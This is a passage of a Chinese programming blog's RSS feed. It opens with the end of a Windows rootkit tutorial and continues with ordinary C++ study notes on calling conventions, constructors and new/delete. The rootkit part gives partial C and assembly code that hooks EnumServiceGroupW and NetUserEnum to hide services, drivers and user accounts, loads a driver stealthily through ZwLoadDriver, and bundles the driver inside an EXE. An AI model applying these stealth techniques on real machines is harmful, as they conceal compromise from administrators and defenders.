_fckxhtmljob="1">这5个函数中，前4个是公开的，在MSDN中均有叙述，只有最后一个是MS没有公开的，而且只有Unicode版的函数。它的参数和其他4个函数基本一样，返回的结构是LPENUM_SERVICE_STATUS，这个结构也是EnumServicesStatus函数所返回的。5个函数中都有一个dwServiceType参数，表示服务类型，SERVICE_WIN32表示标准Win32服务，SERVICE_DRIVER表示设备驱动。lpServicesReturned为返回服务总数，隐藏的方法还是memcpy移动缓冲区。我们以EnumServiceGroupW函数为例，来看一下代码。<br _fckxhtmljob="1"><br _fckxhtmljob="1">BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,&#8230;&#8230;)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">__asm<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//参数入栈，注意顺序，要遵循__stdcall调用约定<br _fckxhtmljob="1">push dwUnknown<br _fckxhtmljob="1">push lpResumeHandle<br _fckxhtmljob="1">push lpServicesReturned<br _fckxhtmljob="1">push pcbBytesNeeded<br _fckxhtmljob="1">push cbBufSize<br _fckxhtmljob="1">push lpServices<br _fckxhtmljob="1">push dwServiceState<br _fckxhtmljob="1">push dwServiceType<br _fckxhtmljob="1">push hSCManager<br _fckxhtmljob="1">mov eax,NewEnumServiceGroupW //原函数地址放入EAX<br _fckxhtmljob="1">call eax //请求<br _fckxhtmljob="1">mov sRet,eax //返回值<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (sRet)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//处理服务和驱动<br _fckxhtmljob="1">if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//指向服务列表缓冲区<br _fckxhtmljob="1">lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;<br _fckxhtmljob="1">for (DWORD n=0; n&lt;*lpServicesReturned; n++)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,<br _fckxhtmljob="1">strlen(ServiceNameAnsi))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//向前移动服务列表缓冲区<br _fckxhtmljob="1">memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),<br _fckxhtmljob="1">((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));<br _fckxhtmljob="1">(*lpServicesReturned)--; //总数要-1<br _fckxhtmljob="1">n--;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">return sRet;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">上边的代码应该很容易理解了，我们隐藏服务/驱动，只需要判断服务名，所以dwServiceType就一块处理了，不必分开。另外请求原函数要遵循__stdcall调用约定，参数从右向左顺序入栈，最后将原函数地址放入EAX中CALL即可。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">十一、隐藏用户<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">枚举用户有3种方法，其一是使用Netapi32.dll中的函数，另一个就是枚举注册表的SAM键了。隐藏注册表前边已经说过了，这里说一下Netapi32.dll导出的3个函数：<br _fckxhtmljob="1"><br _fckxhtmljob="1">NetUserEnum()<br _fckxhtmljob="1">NetGroupGetUsers()<br _fckxhtmljob="1">NetQueryDisplayInformation()<br _fckxhtmljob="1"><br _fckxhtmljob="1">第一个函数是枚举用户；第二个函数是获取组内的用户，但根据MSDN的描述，这个函数只适用于域控制器；第三个函数可以枚举用户、组和计算机。NetUserEnum函数支持8种枚举类型，每种类型返回的结构有些不同（其实只是结构成员的名字不同），需要分别处理，另外2个函数也有多种类型，但只有一种是枚举用户的，HOOK这个类型就可以了。3个函数的隐藏方法都是memcpy移动缓冲区，这里以NetUserEnum函数、枚举类型为0进行介绍，其他2个函数和它是一样的，只是结构体不同。<br _fckxhtmljob="1"><br _fckxhtmljob="1">NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,&#8230;&#8230;)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">__asm<br _fckxhtmljob="1">{ <br _fckxhtmljob="1">push resume_handle<br _fckxhtmljob="1">push totalentries<br _fckxhtmljob="1">push entriesread<br _fckxhtmljob="1">push prefmaxlen<br _fckxhtmljob="1">push bufptr<br _fckxhtmljob="1">push filter<br _fckxhtmljob="1">push level<br _fckxhtmljob="1">push servername <br _fckxhtmljob="1">mov eax,NewNetUserEnum<br _fckxhtmljob="1">call eax<br _fckxhtmljob="1">mov nStatus,eax<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">if ((nStatus==NERR_Success) &amp;&amp; (bufptr!=NULL))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (level==0) //处理枚举类型为0<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//注意bufptr是2级指针<br _fckxhtmljob="1">LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);<br _fckxhtmljob="1">if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">for (DWORD n=0;n&lt;*entriesread;n++)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,<br _fckxhtmljob="1">strlen(UserNameAnsi))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//向前移动用户列表缓冲区<br _fckxhtmljob="1">memcpy((lpUserInfo+n),(lpUserInfo+n+1),<br _fckxhtmljob="1">((*entriesread)-n-1) * sizeof (USER_INFO_0));<br _fckxhtmljob="1">(*entriesread)--; //总数--<br _fckxhtmljob="1">n--;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">......<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">return nStatus;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">Level表示枚举类型，MSDN中有详细的定义。这3个函数都是Unicode版本，没有ANSI。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">十二、驱动的加载与整合<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">加载驱动一般都是使用Servcie API，但Servcie API创建的服务会在注册表留下痕迹，这不是我们想要的，应该使用一种更好的方法。Native API有2个函数，可以实现驱动的动态加/卸载，不用写注册表，它们是ZwLoadDriver和ZwUnloadDriver函数。使用这2个函数加/卸载驱动，也需要写一下注册表，不过只是配合这2个函数，待驱动加/卸载完成后，就可以删除建立的注册表项，也就是说，我们建立的注册表项最多停留几秒。需要建立的注册表项就是一些服务的键值，比如Type（服务类型），Start（启动类型），ImagePath（驱动路径）等，完整的代码在DevelopmentSetRegistry函数中，就不帖出来了，只帖出动态加/卸载的函数代码。注：动态加/卸载驱动时，已经完成了设置注册表，动态加/卸载驱动后，还要删除注册表项，切记。<br _fckxhtmljob="1"><br _fckxhtmljob="1">BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">...... <br _fckxhtmljob="1">//加载ntdll.dll<br _fckxhtmljob="1">if ((hModule=LoadLibrary("ntdll.dll"))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//取得若干函数的地址 <br _fckxhtmljob="1">ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");<br _fckxhtmljob="1">ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");<br _fckxhtmljob="1">RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress <br _fckxhtmljob="1">(hModule,"RtlInitUnicodeString");<br _fckxhtmljob="1">RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress <br _fckxhtmljob="1">(hModule,"RtlNtStatusToDosError");<br _fckxhtmljob="1"><br _fckxhtmljob="1">swprintf(RegDriver,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s",<br _fckxhtmljob="1">DriverName);<br _fckxhtmljob="1">RtlInitUnicodeString(&amp;ModuleNameWide,RegDriver);<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (LoadBelong) //TRUE 加载<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//加载驱动<br _fckxhtmljob="1">ntStatus=ZwLoadDriver(&amp;ModuleNameWide);<br _fckxhtmljob="1">......<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (!LoadBelong) //FALSE卸载<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//卸载驱动<br _fckxhtmljob="1">ntStatus=ZwUnloadDriver(&amp;ModuleNameWide);<br _fckxhtmljob="1">......<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">return TRUE;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">我们需要使用一个EXE来操作SYS，这样带着2个文件满处跑肯定不方便，所以有必要将其整合。整合的方法有很多，比如放在EXE结尾、将SYS转化为16进制代码，或者做成资源文件。相比之下，做成资源文件比较简单，也不会给EXE增加太多的体积，运行时一释放就OK了。释放资源需要一系列资源函数，最后使用fwrite将文件写入硬盘。我写了一个ReleaseResource函数，用于实现这个功能。<br _fckxhtmljob="1"><br _fckxhtmljob="1">BOOL ReleaseResource (TCHAR *DriverPath)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">//查找资源 SYS是资源名 SYSRES是资源类名<br _fckxhtmljob="1">if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//加载资源<br _fckxhtmljob="1">if ((hLoad=LoadResource(NULL,hFind))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//取得资源大小<br _fckxhtmljob="1">if ((Size=SizeofResource(NULL,hFind))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//取得释放地址<br _fckxhtmljob="1">if ((LockAddr=LockResource(hLoad))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//打开文件<br _fckxhtmljob="1">if ((fp=fopen(DriverPath,"wb"))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//写入<br _fckxhtmljob="1">fwrite(LockAddr,1,Size,fp);<br _fckxhtmljob="1">......<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">有了这个函数，就可以只带着EXE满世界跑了。<br _fckxhtmljob="1">文章写了这么长，是时候结束了，从上面的讲解中不难看出，我们只要对Windows内核有一点了解，就可以开发一个简单的Rootkit，光盘中包含了本文完整的源代码，如对本文有任何问题，欢迎发邮件给我</font><a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#100;&#97;&#104;&#117;&#98;&#97;&#111;&#98;&#97;&#111;&#64;&#101;&#118;&#105;&#108;&#111;&#99;&#116;&#97;&#108;&#46;&#99;&#111;&#109;" _fckxhtmljob="1"><u _fckxhtmljob="1"><font color=#0000ff size=3 _fckxhtmljob="1">dahubaobao@eviloctal.com</font></u></a><font size=3 _fckxhtmljob="1">。<br _fckxhtmljob="1"><br _fckxhtmljob="1">十三、附录下载<br _fckxhtmljob="1"><br _fckxhtmljob="1">FileInfo(枚举文件目录结构)<br _fckxhtmljob="1">包含隐藏服务/驱动、用户以及用户态HOOK的DLL程序<br _fckxhtmljob="1">包含隐藏进程、文件/目录、端口、注册表和内核模块的SYS以及加载程序 </font></div>
<img src ="http://www.cppblog.com/superKiki/aggbug/115444.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-15 12:11 <a href="http://www.cppblog.com/superKiki/articles/115444.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C/C++函数调用约定与函数名称修饰规则</title><link>http://www.cppblog.com/superKiki/articles/114940.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sun, 09 May 2010 11:04:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/114940.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/114940.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/114940.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/114940.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/114940.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: #include&nbsp;int&nbsp;__stdcall&nbsp;StdCallFunction&nbsp;(int&nbsp;i,&nbsp;char*&nbsp;pszString)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("From&nbsp;STDCall&nbsp;function\n");&nbsp;&nbsp;&nbsp;&nb...&nbsp;&nbsp;<a href='http://www.cppblog.com/superKiki/articles/114940.html'>阅读全文</a><img src ="http://www.cppblog.com/superKiki/aggbug/114940.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-09 19:04 <a href="http://www.cppblog.com/superKiki/articles/114940.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C/C++知识点积累_第一季</title><link>http://www.cppblog.com/superKiki/articles/114194.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sun, 02 May 2010 10:46:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/114194.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/114194.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/114194.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/114194.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/114194.html</trackback:ping><description><![CDATA[<p><strong>1.关于读写文件操作：</strong><br>fopen()在堆上为FILE结构体分配空间，并返回指向FILE结构体的指针，fclose()告诉堆释放这个指针。<br><span style="COLOR: red">出进程需要维护一个局部的文件列表外，OS也需要为所有进程维护一个全局的打开表，以便在必要时才关闭文件，而不是每一个close都都关闭文件。</span><br></p>
<p><strong>2.关于C语言调用未声明的函数：<br></strong>C语言中，编译器中允许调用未声明的函数，并按照实参猜测函数原型，这是危险的。在C++中不能调用未声明的函数。</p>
<p><strong>3.关于编译和链接：<br></strong>编译是对语法的检查，链接是对外部引用的替换。由于文件是单独编译的，对于对外部函数的调用在编译时会保留一个引用（因为编译的时候编译器只知道这个函数像什么而不知道是什么，只看到声明未看到定义），在链接时会从别的.obj或.o文件中找到此函数地址，并用之代替对此函数调用的引用。</p>
<p><strong>4.编译器需要知道正在编译的程序是c还是c++，而编译器是不直接编译头文件的，所以无论c还是c++，头文件都是.h，而源文件有.c和.cpp之别。(这个当时有点扯淡)<br></strong><span style="COLOR: red">ps:编译器一般不会对头文件的扩展名限制吧，cpp标准头文件不就没有扩展名吗，还有的诗.hpp. 一些系统上cpp文件以.cc结束，具体是什么取决于编译器，取决于用户。<br></span><br></p>
<p><strong>5.关于为什么把函数作为类的成员的一个直观想法：</strong><br>为了避免名字冲突，因为struct内部的名字是不会和外部冲突的，而函数名又是稀缺的资源，有些函数又是专门作用在struct上的，并无它用，那为什么不把该函数作为struct的内部成员呢？</p>
<p><strong>6.关于成员函数参数列表中看不见的参数this：</strong><br>RT，是编译器负责的。</p>
<p><strong>7.关于定义多个对象时，成员函数的代码有多份吗：</strong><br>当然不是，只有一份。<br><span style="COLOR: red">ps:多个进程呢？<br></span><br></p>
<p><strong>8.关于::运算符：</strong><br>C++用把函数作为类和结构的成员的方法解决了名字分解的问题，但是实际上C++的名字是分两部分的：<br>范围::名字。需要指出名字的范围时，即分解名字时，用它，这也是相对C语言新增添的运算符，叫&#8220;范围分解运算符&#8221;。<br>比如，在外部定义成员函数时就用到此操作符。<br><span style="COLOR: red">ps:名字查找问题，远不止这两种，局部块，类域，父类，namespace，全局，未完待续。。。</span><br></p>
<p><strong>9.关于外部定义成员函数时，函数体内部对成员变量的操作是否也需要加::操作符：</strong><br>不用，编译器没那么笨。说明一次就够了，交给编译器吧。<br>在一个成员函数的内部，可以直接提及任何一个类的成员（包括成员变量和成员函数），编译器在在全局搜寻此名字前会先在局部结构的名字中搜索。<br>想用该结构地址时，用this即可。</p>
<p><strong>10.关于.h和.cpp：</strong><br>类定义放在.h，类成员函数定义放在.cpp。</p>
<p><strong>11.C可以用void*指针和其它任何类型指针之间互相赋值。C++只允许用其它类型指针给void*赋值。</strong></p>
<p><strong>12.关于&#8220;向对象发送消息&#8221;：</strong><br>object.memberfunction(arglist);<br>以上语句是调用某对象的成员函数，在OOP中，也叫向某对象发送消息，让它自己完成某项操作，这样的&#8220;对象&#8221;的概念体现得更明显。OOP要做的事就是设计好对象和消息，然后向对象发送消息。</p>
<p><strong>13.关于没有成员变量的类的sizeof()：</strong><br>会返回一个很小的非零值，VS2005是1，对于既有成员变量又有成员函数的类，sizeof求大小的时候只计算成员变量所占空间，不加此非零值。<br>&nbsp;<span style="COLOR: red">PS:一个对象的存在的唯一标识，不是名字，而是地址，对于无数据类的对象的定义，编译器为其分配一个char以示标识。<br></span></p>
<p><strong>14.C++对象的生命期是到定义它所在的程序块的右大括号为止</strong>，在新编译器中，编译器默认为每个for循环加上大括号，即使原来并没有。<br><span style="COLOR: red">PS:这个有点意思，难道编译器在语法分析时会给for添加花括号？然后在去掉？有意思。<br></span></p>
<p><strong>15.C++编译器如此重视对象的初始化以至于它会检查对象的定义</strong>（对于对象来说，定义即初始化，因为在定义时编译器会自动插入构造函数用于初始化对象）是否会因为goto语句或者switch-case语句而被跳过。在VS2005编译器下，goto跳过一个对象的初始化会产生一个警告，switch-case则会产生一个错误。在GCC编译器下，则两者都是错误。</p>
<p><strong>16.malloc(),calloc(),realloc()</strong>都从堆上分配内存，意味着需要用free()去释放，free()做的工作实际是告之编译器（？）这些内存可以被再次分配。上述三个分配内存的函数如果调用失败（比如当前堆不够用了）都会返回0，可以用assert()断言。</p>
<p><span style="COLOR: red">PS:*alloc, free都是运行时的，申请与释放内存怎可能与编译器交互？C程序有自己的运行时库CRT，alloc,free直接向CRT提交申请，由CRT与操作系统交涉。当然也可以绕过CRT。<br></span><strong><br>17.assert()实际是在assert.h中定义的宏</strong>，取一个可以判断真假的表达式为参数，&#8220;必真，否则打印并推出&#8221;。</p>
<p><strong>18.关于类嵌套定义：<br></strong>类可以嵌套定义，在A类的内部定义B类，并声明B类的一个（或多个）对象为A类的成员。个人认为，此举除了名字范围划分外，和在类外定义一个新类无区别。要想让B类对象访问A类私有成员仍然需要声明其为友元――friend A::B;?所有友元声明都应放在类定义内部，因为这是给编译器看的。多从编译器的角度想问题，很多规则就变得理所当然了。</p>
<p><strong>19.关于存取块：</strong><br>这里，存取块指的是类定义内部由一个存取控制符（public,protected,private）开始到下一个存取控制符为止，中间的部分。<br>在一个存取块内的对象在内存中都是相邻的，各存取块之间通常也是按定义顺序存储的，但不绝对，因为有些机器对private提供支持，将其放在特殊位置。<br><span style="COLOR: red">PS:机器会对private支持？编译器吧。</span></p>
<p><strong>20.关于存取限制及想办法访问私有成员：<br></strong>存取指定消息（public,protected,private）只能作用到编译阶段，也就是说是对写代码阶段的限制。到了运行阶段存取限制标志已经消失，对象就是一个存储区域，如果有人想通过指针移动和格式转换来读取到私有成员，是可以做到的，C++对此无能为力。</p>
<p><strong>21.要产生一个指向某结构或某类的指针</strong>，只需要该结构或类的声明而无需定义，因为指针的大小是确定的，而所指之物的大小不是必须知道的。</p>
<p><strong>22.关于构造函数与析构函数的名字和返回值：</strong><br>构造函数与析构函数必须与类同名，这是为了编译器能够立刻查找到它们，因为它们是由编译器负责调用的，实际上是由编译器负责在编译阶段将它们插入到原有的代码中，构造函数插入到定义处，析构函数插入到定义所在的代码块的右大括号处。<br>构造函数与析构函数都没有返回值，这与返回void不同，因为编译器负责调用它们，而编译器不可能知道如何处理返回值，所以它们没有返回值。<br></p>
<p><span style="COLOR: red">ps:插入用在这里不合适，有点展开的意思。对于非显式的构造与析构，编译器为其生成，并放入.text段，再在合适的时机调用，比如全局构造在_start，局部的在其定义处，局部对象有些特殊，还需另行讨论。</span><strong><br>23.关于explicit和aggregate：</strong><br>先说aggregate。aggregate类型可以使用大括号初始化。这种初始化方式，个人认为是调用了拷贝构造函数（见24）。<br>aggregate类型是指array或者是没有用户定义构造函数，没有私有或保护非静态成员变量，没有基类，没有虚函数的class类型。<br>在有构造函数的情况下，还有一种情况可能可以用大括号对对象进行初始化。<br>对于只有一个参数的构造函数，如果在初始化时提供此构造函数所需参数类型的参数，那么系统会自动调用此构造函数对对象进行初始化。这有可能是违背程序员意愿的，阻止方法是将构造函数声明为explicit，这样此构造函数就不能用来进行类型转换了。<br>在这种情况下，如果用一个大括号初始化一个对象数组是可以成功的。</p>
<p><strong>24.关于拷贝构造函数：</strong><br>如果你的类没有添加拷贝构造函数，编译器也会为你添加一个默认的拷贝构造函数，用于通过其它对象的const&amp;来构造新的对象编译器默认生成的拷贝构造函数以&#8220;位拷贝&#8221;的方式工作。一般情况下，使用编译器提供的默认拷贝构造函数就可以了，除非你的类中有指针成员，因为指针成员存储buffer地址，而通过此地址对数据进行操作，如果直接拷贝就会出现两个对象只有一份数据的情况，会造成错误。正确的做法是，重新开辟内存，拷贝指针所指数据信息，给指针成员赋值。</p>
<p><strong>25.关于编译器自动产生的缺省构造函数：<br></strong>编译器在类定义中没有任何构造函数的情况下提供缺省构造函数。<br>工作原理如下：<br>1.全局变量（一般为定义在所有函数之外的变量），静态全局变量和静态变量的默认值为0。<br>2.局部变量默认值为随机数。<br>看来编译器自动产生的缺省构造函数还是很不靠谱的。<br><span style="COLOR: red">ps:上面说的两点似乎是普通变量的初始化，而不是类的构造。全局、静态变量、对象在编译时已经分配了空间，而局部的变量、对象，是运行时在栈上创建的，编译器&#8221;无能为力&#8221;，若想为其初始化，就必须添加额外的&#8221;指令&#8221;，而这不是每个人都想要的，于是编译器把它留给了coder.</span><br></p>
<p><strong>26.关于如何隐藏私有成员：</strong><br>C++中类的定义，能够隐藏私有成员的实现，却无法防止类库的使用者看到私有成员的类型，因为必须要提供类定义，而类定义中一般含有类的全貌。解决办法是将私有成员放在结构体里，然后在类定义中只将指向此结构体的指针作为成员。在声明此指针时只需要该结构体的声明而非定义，这样就可以掩盖结构体的内部。<br>此技术成为handle classes或者Cheshire cat。</p>
<p><strong>27.可以用引用初始化引用。</strong>如下列程序：<br>?int i = 5;<br>?int &amp;j = i;<br>?int &amp;k = j;<br>?k++;<br>?cout&lt;&lt;i&lt;&lt;endl&lt;&lt;j&lt;&lt;endl&lt;&lt;k&lt;&lt;endl;<br>输出结果为：<br>6<br>6<br>6</p>
<p><strong>28.关于C++调用函数的传值过程</strong>：<br>int f(int x,char c);<br>int g = f(a,b);<br>对应的伪汇编：<br>push b??;这是在进行值拷贝，相当于创建新对象作为函数参数<br>push a??;c/c++中，参数是从右向左进栈的<br>call f()?<br>add sp,4?;这句也是由函数调用产生的，调用代码负责清理栈中的参数<br>move g,register a?;返回函数结果<br>;如果a,b,g是全局变量，将被表示成_a,_b,_g，如果是局部变量，编译器将在堆栈指针上对<br>;其索引。<br>;通过传值方式传递参数时，编译器简单地将参数拷贝压栈――编译器知道拷贝有多大。<br><span style="COLOR: red">PS：push a ;c/c++中，参数是从右向左进栈的<br>不尽然，调用约定决定了一切。_stdcall,_cdel,_thiscall,_fastcall，规定了参数的入栈顺序，又由谁(调用者还是被调者)来清理(调整)堆栈，_thiscall还会先把this入栈，因为代码都是全局的，通过this区分某个类的成员/函数。另：这些约定是给编译器看的，告诉它如何生成那些&#8221;附加&#8221;的代码。http://www.dutor.net/index.php/2009/07/function-call-protocal/<br></span><br></p>
<p><strong>29.不能用const对象来初始化non-const引用</strong>，因为引用是直接对所引用存储单元进行操作的，c++出于安全考虑进行此项检查。用const对象初始化const引用或用non-const对象初始化const引用都没有问题。后一种情况（用non-const对象初始化const引用），仍然可以直接更改原对象的值，但不能通过const引用更改。<br>由此可合理推出，int&amp; i =12;的写法是非法的，因为这试图用一个const对象初始化一个非const引用。</p>
<p><strong>30.调用函数时，如果传递参数和返回函数结果都采用值传递的方式，那么在传递和返回时编译器会自动调用拷贝构造函数来生成局部形参对象和返回结果对象。</strong>如果怕编译器提供的拷贝构造函数不能完成拷贝的任务（bitcopy方式），可以自己定义拷贝构造函数。如何避免拷贝构造函数被调用呢？或者说如何避免一个类的对象被按值传递呢？方法是定义一个私有的拷贝构造函数，这样不但屏蔽了编译器的构造函数，而且编译器调用它时会报错。</p>
<img src ="http://www.cppblog.com/superKiki/aggbug/114194.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-02 18:46 <a href="http://www.cppblog.com/superKiki/articles/114194.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>再谈new和delete</title><link>http://www.cppblog.com/superKiki/articles/114190.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Sun, 02 May 2010 10:18:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/114190.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/114190.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/114190.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/114190.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/114190.html</trackback:ping><description><![CDATA[<p>new &amp; delete 有三种方式为一个对象分配内存：</p>
<p>1.在静态存储区，存储空间在程序运行之前就可以被分配，生命周期持续到程序结束之前。</p>
<p>2.进入一个左大括号，将所有此作用域内的对象的内存在栈上分配，出此右大括号时释放。</p>
<p>3.在程序运行时在堆上动态分配内存，用new操作符，在堆上分配的内存需要程序员负责释放，用delete操作符。如果仍然使用C库中的malloc()（及其变种）和free()，那么构造函数和析构函数得不到机会被执行。C++的做法是将malloc()、free()以及对构造函数、析构函数的调用等等一系列动作封装成两个操作符：new，delete。</p>
<p>new在堆上申请一块内存，并将其作为一个对象调用构造函数进行初始化，然后返回其地址（即指针）： int *p = new int(2); 因为new要调用构造函数，自然就要接受构造函数所需的参数。 delete负责调用欲释放对象的构造函数，然后释放这块内存将其还给堆：</p>
<p>delete p;</p>
<p>如果用new在堆上创建了一个对象，然后通过一个void指针去对其执行delete，那么仅仅会释放内存而不会调用析构函数。用于数组的new和delete</p>
<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #000000">MyType</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;fp&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">&nbsp;MyType[</span><span style="COLOR: #000000">100</span><span style="COLOR: #000000">];&nbsp;MyType</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">&nbsp;fp2&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">&nbsp;MyType;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">分别在堆上创建了一个数组和一个对象</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">delete&nbsp;fp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">Not&nbsp;the&nbsp;desired&nbsp;effect</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000">delete&nbsp;fp2;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">OK</span></div>
<p>&nbsp;</p>
